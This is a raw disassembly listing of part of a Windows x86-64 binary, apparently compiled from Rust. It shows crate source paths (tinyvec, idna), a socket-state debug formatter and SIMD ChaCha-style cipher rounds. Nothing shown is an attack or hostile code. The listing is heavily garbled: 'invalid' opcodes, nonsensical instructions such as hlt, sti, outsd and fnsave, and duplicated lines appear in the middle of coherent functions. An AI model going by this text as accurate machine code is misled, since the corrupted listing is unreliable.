lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov edx, 4
call fcn.1401046e0
lea rcx, str.explicit_panic
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
mov edx, 0xe
call fcn.1401046f0
ud2
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
call fcn.140104a40
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, rsi
mov r8, r15
mov r9, rsi
call fcn.140104b90
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_O
lea r8, [0x14016ed18]
mov edx, 0x30
call fcn.1401046f0
call fcn.140010910
int3
xor r12d, r12d
xor r15d, r15d
jmp 0x140046b58
enter 0xffffffffffffc8e8, 0xffffffffffffffda
sti
dec dword [rbp + 0x39]
hlt
cmp r12, r14
jne 0x140046bb7
sub r14, r15
mov qword [rdi + 0x20], r14
test bl, bl
jne 0x140046b7b
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x140046c4d
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x140046bdc
mov rcx, rsi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
lea rdx, [r15*8]
sub rax, rdx
mov qword [rax + r12*8], rcx
inc r12
cmp r14, r12
je 0x140046b5d
mov rax, qword [rdi + 0x18]
mov rcx, qword [rax + r12*8]
mov rdx, qword [rcx]
cmp rdx, 1
ja 0x140046ba0
inc r15
lock dec qword [rcx]
jne 0x140046baf
mov rcx, qword [rax + r12*8]
call fcn.140004620
jmp 0x140046baf
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
or eax, 0xf14b2
lea r8, [rsp + 0x28]
mov edx, 0x2b
call fcn.1401049b0
call fcn.14010c880
test al, al
jne 0x140046b7b
mov byte [rdi + 9], 1
jmp 0x140046b7b
push rdi
push rbx
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
mov rsi, rcx
mov rdi, qword [rcx]
call fcn.1400cf300
mov rcx, qword [rsi + 0x10]
mov ecx, dword [rsi + 0x10]
mov ecx, dword [rsi + 0x10]
mov r8, qword [rsi + 0x18]
mov rax, rdi
clc
sbb byte [rax - 0x77], cl
clc
sub rax, r8
cmp rcx, rax
invalid
ror byte [rax + 0x39], 0xc1
sal dword [rsi + 0x53], 0x48
mov ebx, dword [rsi]
jbe 0x140046ce8
mov rbx, qword [rsi]
mov rax, rdi
sub rax, rcx
sub r8, rax
cmp rax, r8
jbe 0x140046cc9
mov rdx, rbx
sub rdx, rdi
cmp rdx, r8
jb 0x140046cc9
mov rdx, qword [rsi + 8]
lea rcx, [rdx + rdi*8]
shl r8, 3
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp sub.VCRUNTIME140.dll_memcpy
sub rbx, rax
mov r8, qword [rsi + 8]
lea rdx, [r8 + rcx*8]
lea rcx, [r8 + rbx*8]
shl rax, 3
mov r8, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [rsi + 0x10], rbx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea esp, [rsp + 0xe8]
add byte [rax], al
lea rax, [rsp + 0x40]
mov qword [rsp + 0xe8], rax
lea rax, [0x140138730]
mov qword [rsp + 0xf0], rax
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
lea rdx, str.SockStateiosbpoll_infoafdbase_socketuser_evtspending_evtsuser_datapoll_statusdelete_pending_pinned
mov r8d, 9
call qword [rax + 0x18]
mov qword [rsp + 0x30], r15
jl 0x140046f9c
invalid
mov byte [rsp + 0x38], al
and al, 0x38
jl 0x140046f9c
xor byte [rax - 0x39c7dbbc], cl
and al, 0x39
add byte [rbp + rcx*4 + 0x35], cl
invalid
and al, 0x38
mov byte [rsp + 0x39], 0
lea r14, [0x1401112a8]
movabs dword [0x48202474894c000c], eax
lea edx, [0x140138759]
movabs dword [0x48202474894c000c], eax
lea edx, [0x140138759]
lea r15, [rsp + 0x30]
lea r9, [rsp + 0x48]
and al, 0x48
mov r8d, 4
mov rcx, r15
call fcn.1400144f0
mov qword [rsp + 0x20], r14
lea rdx, [0x14013875d]
mov r8d, 9
mov rcx, r15
mov r9, rbx
call fcn.1400144f0
mov qword [rsp + 0x20], r14
lea rdx, [0x140138766]
mov r8d, 3
mov rcx, r15
mov r9, rdi
call fcn.1400144f0
mov qword [rsp + 0x20], r14
lea rdx, [0x140138769]
mov r8d, 0xb
mov rcx, r15
mov r9, rsi
call fcn.1400144f0
mov qword [rsp + 0x20], r14
lea rdx, [0x140138774]
mov r8d, 9
mov rcx, r15
mov r9, rbp
call fcn.1400144f0
mov qword [rsp + 0x20], r14
lea rdx, [0x14013877d]
mov r8d, 0xc
mov rcx, r15
lea r9, [rsp + 0x98]
call fcn.1400144f0
mov qword [rsp + 0x20], r14
lea rdx, [0x140138789]
adc eax, 0xf173a
adc eax, 0xf173a
mov r8d, 9
mov rcx, r15
lea r9, [rsp + 0xa8]
call fcn.1400144f0
mov edx, esp
cld
dec dword [rcx + rcx*4 + 0x74]
and al, 0x20
mov edx, esp
cld
dec dword [rcx + rcx*4 + 0x74]
and al, 0x20
lea rdx, [0x140138792]
mov r8d, 0xb
mov rcx, r15
lea r9, [rsp + 0xb8]
call fcn.1400144f0
dec dword [rcx + rcx*4 + 0x74]
and al, 0x20
dec dword [rcx + rcx*4 + 0x74]
and al, 0x20
lea rdx, [0x14013879d]
mov r8d, 0xe
mov rcx, r15
lea r9, [rsp + 0xc8]
and al, 0xc8
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
call fcn.1400144f0
mov qword [rsp + 0x20], r14
invalid
dec dword [rcx + rcx*4 + 0x74]
and al, 0x20
lea rdx, [0x1401460a6]
mov r8d, 5
mov rcx, r15
mov r9, r13
call fcn.1400144f0
invalid
cld
invalid
invalid
mov qword [rsp + 0x20], r14
and al, 0x20
lea rdx, [0x1401387ab]
lea edx, [0x1401387ab]
invalid
mov r8d, 7
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rcx, r15
mov rcx, r15
mov r9, r12
call fcn.1400144f0
movzx ecx, byte [rsp + 0x38]
cmp byte [rsp + 0x39], 0
je 0x140047117
mov al, 1
test cl, cl
jne 0x140047136
mov rax, qword [rsp + 0x30]
test byte [rax + 0x34], 4
jne 0x14004711e
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140140fb9]
mov r8d, 2
jmp 0x140047133
test cl, cl
setne al
jmp 0x140047136
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140146913]
mov r8d, 1
call qword [rax + 0x18]
nop
add rsp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
paddd xmm10, xmm1
paddd xmm9, xmm15
movdqa xmm3, xmmword [rsp + 0x40]
paddd xmm3, xmm13
movdqa xmmword [rsp + 0x40], xmm3
movdqa xmm2, xmmword [rsp + 0x30]
paddd xmm2, xmm11
movdqa xmmword [rsp + 0x30], xmm2
pxor xmm8, xmm10
pxor xmm12, xmm9
pxor xmm7, xmm3
pxor xmm5, xmm2
pshuflw xmm2, xmm8, 0xb1
pshufhw xmm2, xmm2, 0xb1
pshuflw xmm3, xmm12, 0xb1
pshufhw xmm4, xmm3, 0xb1
pshuflw xmm3, xmm7, 0xb1
pshufhw xmm3, xmm3, 0xb1
pshuflw xmm5, xmm5, 0xb1
pshufhw xmm5, xmm5, 0xb1
paddd xmm6, xmm2
paddd xmm0, xmm4
paddd xmm14, xmm3
movdqa xmm7, xmmword [rsp + 0x20]
paddd xmm7, xmm5
movdqa xmm8, xmm7
movdqa xmmword [rsp + 0x20], xmm7
pxor xmm1, xmm6
movdqa xmm7, xmm1
psrld xmm7, 0x14
pslld xmm1, 0xc
por xmm1, xmm7
pxor xmm15, xmm0
movdqa xmm7, xmm15
psrld xmm7, 0x14
pslld xmm15, 0xc
por xmm15, xmm7
pxor xmm13, xmm14
movdqa xmm7, xmm13
psrld xmm7, 0x14
pslld xmm13, 0xc
por xmm13, xmm7
pxor xmm11, xmm8
movdqa xmm7, xmm11
psrld xmm7, 0x14
pslld xmm11, 0xc
por xmm11, xmm7
paddd xmm10, xmm1
paddd xmm9, xmm15
movdqa xmm8, xmm9
movdqa xmm9, xmmword [rsp + 0x40]
paddd xmm9, xmm13
movdqa xmmword [rsp + 0x40], xmm9
movdqa xmm12, xmmword [rsp + 0x30]
paddd xmm12, xmm11
movdqa xmmword [rsp + 0x30], xmm12
pxor xmm2, xmm10
movdqa xmm7, xmm2
psrld xmm7, 0x18
pslld xmm2, 8
por xmm2, xmm7
pxor xmm4, xmm8
movdqa xmm7, xmm4
psrld xmm7, 0x18
pslld xmm4, 8
por xmm4, xmm7
pxor xmm3, xmm9
movdqa xmm9, xmm8
movdqa xmm7, xmm3
psrld xmm7, 0x18
pslld xmm3, 8
por xmm3, xmm7
pxor xmm5, xmm12
movdqa xmm7, xmm5
psrld xmm7, 0x18
pslld xmm5, 8
por xmm5, xmm7
paddd xmm6, xmm2
paddd xmm0, xmm4
paddd xmm14, xmm3
movdqa xmm7, xmmword [rsp + 0x20]
paddd xmm7, xmm5
pxor xmm1, xmm6
pxor xmm15, xmm0
pxor xmm13, xmm14
pxor xmm11, xmm7
movdqa xmm8, xmm7
movdqa xmm7, xmm1
psrld xmm7, 0x19
pslld xmm1, 7
por xmm1, xmm7
movdqa xmm7, xmm15
psrld xmm7, 0x19
pslld xmm15, 7
por xmm15, xmm7
movdqa xmm7, xmm13
psrld xmm7, 0x19
pslld xmm13, 7
por xmm13, xmm7
movdqa xmm7, xmm11
psrld xmm7, 0x19
pslld xmm11, 7
por xmm11, xmm7
pshufd xmm1, xmm1, 0x39
pshufd xmm15, xmm15, 0x39
pshufd xmm13, xmm13, 0x39
pshufd xmm11, xmm11, 0x39
pshufd xmm6, xmm6, 0x4e
movdqa xmmword [rsp + 0xc0], xmm6
pshufd xmm0, xmm0, 0x4e
movdqa xmmword [rsp + 0x20], xmm0
pshufd xmm14, xmm14, 0x4e
pshufd xmm12, xmm8, 0x4e
pshufd xmm2, xmm2, 0x93
pshufd xmm4, xmm4, 0x93
pshufd xmm3, xmm3, 0x93
pshufd xmm7, xmm5, 0x93
paddd xmm10, xmm1
paddd xmm9, xmm15
movdqa xmm0, xmmword [rsp + 0x40]
paddd xmm0, xmm13
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm6, xmmword [rsp + 0x30]
movdqa xmm6, xmmword [rsp + 0x30]
paddd xmm6, xmm11
pshuflw xmm5, xmm10, 0xb1
pshufhw xmm8, xmm5, 0xb1
invalid
pshuflw xmm2, xmm2, 0xb1
pshufhw xmm5, xmm2, 0xb1
pxor xmm5, xmm8
pshuflw xmm2, xmm9, 0xb1
pshufw mm2, mm1, 0xb1
pshufw mm2, mm1, 0xb1
pshufhw xmm8, xmm2, 0xb1
pshuflw xmm2, xmm4, 0xb1
pshufhw xmm2, xmm2, 0xb1
pxor xmm2, xmm8
pshuflw xmm4, xmm0, 0xb1
pshufhw xmm8, xmm4, 0xb1
pshuflw xmm3, xmm3, 0xb1
pshufhw xmm4, xmm3, 0xb1
pxor xmm4, xmm8
movdqa xmm0, xmm6
pshuflw xmm3, xmm6, 0xb1
pshufhw xmm8, xmm3, 0xb1
pshuflw xmm3, xmm7, 0xb1
pshufhw xmm3, xmm3, 0xb1
pxor xmm3, xmm8
movdqa xmm6, xmmword [rsp + 0xc0]
paddd xmm6, xmm5
movdqa xmm7, xmmword [rsp + 0x20]
paddd xmm7, xmm2
movdqa xmmword [rsp + 0x20], xmm7
paddd xmm14, xmm4
paddd xmm12, xmm3
pxor xmm1, xmm6
pxor xmm15, xmm7
pxor xmm13, xmm14
pxor xmm11, xmm12
movdqa xmm7, xmm1
psrld xmm7, 0x14
pslld xmm1, 0xc
por xmm1, xmm7
movdqa xmm7, xmm15
psrld xmm7, 0x14
pslld xmm15, 0xc
por xmm15, xmm7
movdqa xmm7, xmm13
psrld xmm7, 0x14
pslld xmm13, 0xc
por xmm13, xmm7
movdqa xmm7, xmm11
psrld xmm7, 0x14
pslld xmm11, 0xc
por xmm11, xmm7
paddd xmm10, xmm1
paddd xmm9, xmm15
movdqa xmm8, xmmword [rsp + 0x40]
paddd xmm8, xmm13
paddd xmm0, xmm11
pxor xmm5, xmm10
movdqa xmm7, xmm5
psrld xmm7, 0x18
pslld xmm5, 8
por xmm5, xmm7
pxor xmm2, xmm9
movdqa xmm7, xmm2
psrld xmm7, 0x18
pslld xmm2, 8
por xmm2, xmm7
movdqa xmm7, xmm8
movdqa xmmword [rsp + 0x40], xmm8
pxor xmm4, xmm8
movdqa xmm7, xmm4
psrld xmm7, 0x18
pslld xmm4, 8
por xmm4, xmm7
movdqa xmm7, xmm0
movdqa xmmword [rsp + 0x30], xmm0
pxor xmm3, xmm0
movdqa xmm7, xmm3
psrld xmm7, 0x18
pslld xmm3, 8
por xmm3, xmm7
paddd xmm6, xmm5
movdqa xmm0, xmmword [rsp + 0x20]
paddd xmm0, xmm2
paddd xmm14, xmm4
paddd xmm12, xmm3
pxor xmm1, xmm6
pxor xmm15, xmm0
pxor xmm13, xmm14
pxor xmm11, xmm12
movdqa xmm7, xmm1
psrld xmm7, 0x19
pslld xmm1, 7
por xmm1, xmm7
movdqa xmm7, xmm15
psrld xmm7, 0x19
pslld xmm15, 7
por xmm15, xmm7
movdqa xmm7, xmm13
psrld xmm7, 0x19
pslld xmm13, 7
por xmm13, xmm7
movdqa xmm7, xmm11
psrld xmm7, 0x19
pslld xmm11, 7
por xmm11, xmm7
pshufd xmm1, xmm1, 0x93
pshufd xmm15, xmm15, 0x93
pshufd xmm13, xmm13, 0x93
pshufd xmm11, xmm11, 0x93
pshufd xmm6, xmm6, 0x4e
pshufd xmm0, xmm0, 0x4e
pshufd xmm14, xmm14, 0x4e
pshufd xmm7, xmm12, 0x4e
movdqa xmmword [rsp + 0x20], xmm7
pshufd xmm8, xmm5, 0x39
pshufd xmm12, xmm2, 0x39
pshufd xmm7, xmm4, 0x39
pshufd xmm5, xmm3, 0x39
dec r8d
jne 0x14004b440
movdqa xmm2, xmmword [str.expand_32_byte_k]
movdqa xmm3, xmmword [rsp + 0x30]
paddd xmm3, xmm2
movdqa xmmword [rsp + 0x30], xmm3
movdqa xmm4, xmmword [rsp + 0x40]
paddd xmm4, xmm2
paddd xmm9, xmm2
paddd xmm10, xmm2
add rax, 4
mov r8, rax
shr r8, 0x20
movd xmm2, r8d
por xmm2, xmmword [rsp + 0x50]
movdqa xmm3, xmm2
pslldq xmm3, 8
shufps xmm3, xmm2, 0xe8
movd xmm2, eax
por xmm2, xmm3
movdqa xmmword [rcx + 0x20], xmm2
movdqu xmmword [rdx], xmm10
movdqa xmm2, xmmword [rsp + 0xa0]
paddd xmm1, xmm2
movdqu xmmword [rdx + 0x10], xmm1
movdqa xmm1, xmmword [rsp + 0xb0]
paddd xmm6, xmm1
movdqu xmmword [rdx + 0x20], xmm6
paddd xmm8, xmmword [rsp + 0x90]
movdqu xmmword [rdx + 0x30], xmm8
movdqu xmmword [rdx + 0x40], xmm9
paddd xmm15, xmm2
movdqu xmmword [rdx + 0x50], xmm15
paddd xmm0, xmm1
movdqu xmmword [rdx + 0x60], xmm0
paddd xmm12, xmmword [rsp + 0x80]
movdqu xmmword [rdx + 0x70], xmm12
movdqu xmmword [rdx + 0x80], xmm4
paddd xmm13, xmm2
movdqu xmmword [rdx + 0x90], xmm13
paddd xmm14, xmm1
movdqu xmmword [rdx + 0xa0], xmm14
paddd xmm7, xmmword [rsp + 0x70]
movdqu xmmword [rdx + 0xb0], xmm7
movaps xmm0, xmmword [rsp + 0x30]
movups xmmword [rdx + 0xc0], xmm0
paddd xmm11, xmm2
movdqu xmmword [rdx + 0xd0], xmm11
movdqa xmm0, xmmword [rsp + 0x20]
paddd xmm0, xmm1
movdqu xmmword [rdx + 0xe0], xmm0
paddd xmm5, xmmword [rsp + 0x60]
movdqu xmmword [rdx + 0xf0], xmm5
movaps xmm6, xmmword [rsp + 0xd0]
movaps xmm7, xmmword [rsp + 0xe0]
movaps xmm8, xmmword [rsp + 0xf0]
movaps xmm9, xmmword [rsp + 0x100]
movaps xmm10, xmmword [rsp + 0x110]
movaps xmm11, xmmword [rsp + 0x120]
movaps xmm12, xmmword [rsp + 0x130]
movaps xmm13, xmmword [rsp + 0x140]
movaps xmm14, xmmword [rsp + 0x150]
movaps xmm15, xmmword [rsp + 0x160]
add rsp, 0x178
pop rdi
pop rsi
ret
add ch, al
js 0x14004c0cc
mov ah, 0x24
add dword [rax], eax
add ch, al
js 0x14004c0d5
lodsb al, byte [rsi]
and al, 0x30
add dword [rax], eax
add byte [rax], al
invalid
js 0x14004c0de
add byte [rax], al
vmovaps xmmword [rsp + 0x120], xmm12
vmovaps xmmword [rsp + 0x110], xmm11
vmovaps xmmword [rsp + 0x100], xmm10
and al, 0
add dword [rax], eax
add ch, al
jns 0x14004c14f
mov word [rax + rsi*8], fs
add byte [rax], al
add ch, al
js 0x14004c102
test byte [rax + riz*8], ah
add byte [rax], al
add ch, al
stc
jg 0x14004c09f
and al, 0xd0
add byte [rax], al
add ch, al
clc
sub dword [rsp + 0xc0], esi
movsb byte [rdi], byte [rsi]
and al, 0x20
add dword [rax], eax
add ch, al
js 0x14004c0e7
pushfq
and al, 0x10
add dword [rax], eax
add ch, al
js 0x14004c0f0
xchg esp, eax
and al, 0
add dword [rax], eax
add ch, al
jns 0x14004c14f
mov word [rax + rsi*8], fs
add byte [rax], al
add ch, al
js 0x14004c102
test byte [rax + riz*8], ah
add byte [rax], al
add ch, al
stc
jg 0x14004c09f
and al, 0xd0
add byte [rax], al
add ch, al
clc
sub dword [rsp + 0xc0], esi
add ch, al
stc
outsd dx, dword [rsi]
jno 0x14004c116
vmovdqa xmm6, xmmword [rcx + 0x20]
mov rax, qword [rcx + 0x20]
lea r8, [rax + 1]
vpinsrd xmm0, xmm6, r8d, 0
shr r8, 0x20
rol byte [rax], 0x49
shr eax, 0x20
vpinsrd xmm4, xmm0, r8d, 1
jns 0x14004c12e
loopne 0x14004c10f
lea r8, [rax + 2]
lea eax, [rax + 2]
vpinsrd xmm0, xmm6, r8d, 0
shr r8, 0x20
rol byte [rax], 0x49
shr eax, 0x20
vpinsrd xmm13, xmm0, r8d, 1
vmovdqa xmm1, xmmword [rcx]
lea r8, [rax + 3]
vpinsrd xmm0, xmm6, r8d, 0
shr r8, 0x20
rol byte [rax], 0x49
shr eax, 0x20
vpinsrd xmm5, xmm0, r8d, 1
vmovdqa xmm0, xmmword [rcx + 0x10]
vmovdqa xmm11, xmmword [str.expand_32_byte_k]
mov r8d, 6
vmovdqa xmm14, xmm11
vmovdqa xmm15, xmm11
jns 0x14004c1c0
vmovdqa xmm15, xmm11
vmovdqa xmm12, xmm11
vmovdqa xmm3, xmm1
vmovdqa xmm2, xmm1
vmovdqa xmmword [rsp + 0x20], xmm1
vmovdqa xmmword [rsp + 0x80], xmm1
vmovdqa xmmword [rsp + 0x30], xmm1
vmovdqa xmm8, xmm0
vmovdqa xmm1, xmm0
vmovdqa xmmword [rsp], xmm0
outsd dx, dword [rsi]
enter 0xfffffffffffff9c5, 0x7f
add al, 0x24
vmovdqa xmmword [rsp + 0x50], xmm0
vmovdqa xmm10, xmm0
vmovdqa xmmword [rsp + 0xa0], xmm6
vmovdqa xmmword [rsp + 0x90], xmm4
vmovdqa xmm0, xmm4
vmovdqa xmmword [rsp + 0x70], xmm13
vmovdqa xmmword [rsp + 0x60], xmm5
vmovdqa xmmword [rsp + 0x10], xmm5
nop dword [rax + rax]
and al, 0x90
add byte [rax], al
add ch, al
stc
outsd dx, dword [rsi]
invalid
vpaddd xmm7, xmm11, xmm3
vpxor xmm5, xmm6, xmm7
vpshuflw xmm5, xmm5, 0xb1
vpshufhw xmm11, xmm5, 0xb1
jp 0x14004c240
fnsave dword [rcx - 0x1c63e3c]
jrcxz 0x14004c19d
stc
jg 0x14004c17f
and al, 0xb0
add byte [rax], al
add ch, al
invalid
out dx, eax
fcmovnb st(0), st(5)
sal dword [rdx - 0x2d], 1
adc al, 0xc5
loope 0x14004c25e
or al, 0xc5
invalid
jmp 0x14004c1b7
vpaddd xmm4, xmm14, xmm2
vpxor xmm0, xmm4, xmm0
vpshuflw xmm0, xmm0, 0xb1
vpshufhw xmm5, xmm0, 0xb1
jp 0x14004c240
fnsave dword [rcx - 0x1c63e3c]
jrcxz 0x14004c19d
stc
jg 0x14004c17f
and al, 0xb0
add byte [rax], al
add ch, al
invalid
fcmovnb st(0), st(5)
sal dword [rdx - 0x2d], 1
adc al, 0xc5
loope 0x14004c25e
or al, 0xc5
invalid
vpaddd xmm0, xmm1, xmm5
vmovdqa xmmword [rsp + 0x40], xmm0
vpxor xmm0, xmm0, xmm2
vpsrld xmm1, xmm0, 0x14
vpslld xmm0, xmm0, 0xc
rcl byte [rax*8 + 0xcf072f9]
vpor xmm14, xmm0, xmm1
vmovdqa xmm1, xmmword [rsp + 0x20]
vpaddd xmm3, xmm15, xmm1
vpxor xmm0, xmm13, xmm3
vpshuflw xmm0, xmm0, 0xb1
vpshufhw xmm9, xmm0, 0xb1
vpaddd xmm13, xmm9, xmmword [rsp]
out dx, eax
ret
xor esi, edi
sub al, 0x24
invalid
vpxor xmm0, xmm13, xmm1
vpsrld xmm1, xmm0, 0x14
rol ebp, 0xf1
jb 0x14004c215
adc al, 0xc5
stc
vpslld xmm0, xmm0, 0xc
vpor xmm15, xmm0, xmm1
jb 0x14004c23a
or al, 0xc5
jns 0x14004c239
stc
vmovdqa xmm0, xmmword [rsp + 0x30]
vpaddd xmm6, xmm12, xmm0
vpxor xmm1, xmm6, xmmword [rsp + 0x10]
vpshuflw xmm1, xmm1, 0xb1
vpshufhw xmm2, xmm1, 0xb1
vpaddd xmm10, xmm10, xmm2
vpxor xmm1, xmm10, xmm0
vpsrld xmm12, xmm1, 0x14
vpslld xmm1, xmm1, 0xc
vpor xmm1, xmm12, xmm1
vpaddd xmm7, xmm8, xmm7
vmovdqa xmmword [rsp], xmm7
vmovdqa xmm0, xmmword [0x14010f960]
vpshufb xmm11, xmm11, xmm0
vpshufb xmm12, xmm7, xmm0
vpxor xmm12, xmm11, xmm12
vpaddd xmm7, xmm14, xmm4
vmovdqa xmmword [rsp + 0x10], xmm7
vpshufb xmm4, xmm5, xmm0
vpshufb xmm5, xmm7, xmm0
vpxor xmm11, xmm4, xmm5
vpaddd xmm4, xmm15, xmm3
vmovdqa xmmword [rsp + 0x20], xmm4
vpshufb xmm3, xmm9, xmm0
vpshufb xmm4, xmm4, xmm0
vpxor xmm5, xmm3, xmm4
vpaddd xmm4, xmm1, xmm6
vmovdqa xmmword [rsp + 0x30], xmm4
vpshufb xmm3, xmm2, xmm0
vpshufb xmm2, xmm4, xmm0
vpxor xmm9, xmm3, xmm2
vpaddd xmm4, xmm12, xmmword [rsp + 0xb0]
vpxor xmm0, xmm8, xmm4
vpsrld xmm2, xmm0, 0x19
vpslld xmm0, xmm0, 7
vpor xmm0, xmm0, xmm2
vpaddd xmm2, xmm11, xmmword [rsp + 0x40]
vpxor xmm3, xmm14, xmm2
vpsrld xmm7, xmm3, 0x19
vpslld xmm3, xmm3, 7
vpor xmm3, xmm3, xmm7
vpaddd xmm7, xmm13, xmm5
vpxor xmm8, xmm15, xmm7
vpsrld xmm13, xmm8, 0x19
vpslld xmm8, xmm8, 7
vpor xmm8, xmm8, xmm13
vpaddd xmm6, xmm10, xmm9
vpxor xmm1, xmm6, xmm1
vpsrld xmm13, xmm1, 0x19
vpslld xmm1, xmm1, 7
vpor xmm1, xmm13, xmm1
vpshufd xmm0, xmm0, 0x39
vpaddd xmm10, xmm0, xmmword [rsp]
vpshuflw xmm13, xmm10, 0xb1
vpshufhw xmm13, xmm13, 0xb1
vmovdqa xmm14, xmmword [0x14010f970]
vpshufb xmm12, xmm12, xmm14
vpxor xmm12, xmm12, xmm13
vpshufd xmm15, xmm3, 0x39
vpaddd xmm3, xmm15, xmmword [rsp + 0x10]
vmovdqa xmmword [rsp + 0x10], xmm3
vpshuflw xmm3, xmm3, 0xb1
vpshufhw xmm3, xmm3, 0xb1
vpshufb xmm11, xmm11, xmm14
vpxor xmm11, xmm11, xmm3
vpshufd xmm8, xmm8, 0x39
vpaddd xmm3, xmm8, xmmword [rsp + 0x20]
vmovdqa xmmword [rsp + 0x20], xmm3
vpshuflw xmm3, xmm3, 0xb1
vpshufhw xmm3, xmm3, 0xb1
vpshufb xmm5, xmm5, xmm14
vpxor xmm3, xmm5, xmm3
vpshufd xmm5, xmm1, 0x39
vpaddd xmm1, xmm5, xmmword [rsp + 0x30]
vmovdqa xmmword [rsp + 0x30], xmm1
vpshuflw xmm1, xmm1, 0xb1
vpshufhw xmm1, xmm1, 0xb1
vpshufb xmm9, xmm9, xmm14
vpxor xmm9, xmm9, xmm1
vmovdqa xmmword [rsp], xmm9
vpshufd xmm1, xmm4, 0x4e
vpaddd xmm14, xmm12, xmm1
vpxor xmm0, xmm14, xmm0
vpsrld xmm1, xmm0, 0x14
vpslld xmm0, xmm0, 0xc
vpor xmm1, xmm0, xmm1
vpshufd xmm0, xmm2, 0x4e
vpaddd xmm13, xmm11, xmm0
vpxor xmm0, xmm13, xmm15
vpsrld xmm2, xmm0, 0x14
vpslld xmm0, xmm0, 0xc
vpor xmm15, xmm0, xmm2
vpshufd xmm0, xmm7, 0x4e
vpaddd xmm7, xmm0, xmm3
vpxor xmm0, xmm8, xmm7
vpsrld xmm2, xmm0, 0x14
vpslld xmm0, xmm0, 0xc
vpor xmm0, xmm0, xmm2
vpshufd xmm2, xmm6, 0x4e
vpaddd xmm6, xmm9, xmm2
vpxor xmm2, xmm6, xmm5
adc ch, al
sti
jo 0x14004c22c
mov cl, 0xc5
cli
jo 0x14004c239
mov cl, 0xc5
sub esi, edi
rol ch, cl
test eax, 0x99c5c8ef
jb 0x14004c246
invalid
adc al, 0xc5
int1
jb 0x14004c26b
or al, 0xc5
cdq
jmp 0x14004c248
vpxor xmm2, xmm6, xmm5
vpsrld xmm4, xmm2, 0x14
vpslld xmm2, xmm2, 0xc
vpor xmm8, xmm2, xmm4
vpaddd xmm2, xmm10, xmm1
vmovdqa xmmword [rsp + 0x40], xmm2
jb 0x14004c43e
or al, 0xc5
imul ebp, ebx, 0xfea9c5c4
rol ebp, 1
stc
jg 0x14004c4ad
and al, 0x40
vpxor xmm2, xmm12, xmm2
vmovdqa xmm5, xmmword [0x14010f960]
out dx, eax
rol ch, cl
stc
outsd dx, dword [rsi]
sub eax, 0xc34f9
vpshufb xmm9, xmm2, xmm5
vpaddd xmm10, xmm14, xmm9
vpxor xmm1, xmm10, xmm1
vpsrld xmm2, xmm1, 0x19
jb 0x14004c44a
sbb ebp, eax
int1
jb 0x14004c46f
invalid
vpor xmm1, xmm1, xmm2
vpaddd xmm14, xmm15, xmmword [rsp + 0x10]
vpxor xmm2, xmm11, xmm14
vpshufb xmm4, xmm2, xmm5
add ch, ah
invalid
jb 0x14004c44a
sbb ebp, eax
int1
jb 0x14004c46f
invalid
add ch, ah
vpaddd xmm11, xmm13, xmm4
vpxor xmm2, xmm11, xmm15
vpsrld xmm12, xmm2, 0x19
vpslld xmm2, xmm2, 7
vpor xmm2, xmm12, xmm2
vpaddd xmm15, xmm0, xmmword [rsp + 0x20]
jns case.0x14001a36d.2184
jl 0x14004c4d3
and ch, al
sub edi, 0x6162c4db
add ch, ch
jns case.0x14001a36d.2184
jl 0x14004c4d3
and ch, al
sub edi, 0x6162c4db
add ch, ch
vpaddd xmm5, xmm13, xmm7
vpxor xmm0, xmm5, xmm0
vpsrld xmm3, xmm0, 0x19
vpslld xmm0, xmm0, 7
vpor xmm0, xmm0, xmm3
vpaddd xmm12, xmm8, xmmword [rsp + 0x30]
and al, 0x30
vpxor xmm3, xmm12, xmmword [rsp]
vpshufb xmm7, xmm3, xmmword [0x14010f960]
vpaddd xmm6, xmm6, xmm7
vpxor xmm3, xmm8, xmm6
vpsrld xmm8, xmm3, 0x19
vpslld xmm3, xmm3, 7
vpor xmm8, xmm8, xmm3
vpshufd xmm3, xmm1, 0x93
vpshufd xmm2, xmm2, 0x93
vpshufd xmm0, xmm0, 0x93
vmovdqa xmmword [rsp + 0x20], xmm0
vpshufd xmm0, xmm8, 0x93
vmovdqa xmmword [rsp + 0x30], xmm0
vpshufd xmm8, xmm10, 0x4e
vpshufd xmm1, xmm11, 0x4e
vmovdqa xmm11, xmmword [rsp + 0x40]
vpshufd xmm0, xmm5, 0x4e
vmovdqa xmmword [rsp], xmm0
vpshufd xmm10, xmm6, 0x4e
vpshufd xmm6, xmm9, 0x39
vpshufd xmm0, xmm4, 0x39
vpshufd xmm13, xmm13, 0x39
vpshufd xmm4, xmm7, 0x39
vmovdqa xmmword [rsp + 0x10], xmm4
stc
jg 0x14004c5b9
and al, 0x10
dec r8d
jne 0x14004c1c0
vmovdqa xmm5, xmmword [str.expand_32_byte_k]
vpaddd xmm4, xmm12, xmm5
vpaddd xmm7, xmm15, xmm5
vpaddd xmm9, xmm14, xmm5
vpaddd xmm5, xmm11, xmm5
add rax, 4
mov r8, rax
vmovdqa xmm11, xmmword [rsp + 0xa0]
and al, 0xa0
add byte [rax], al
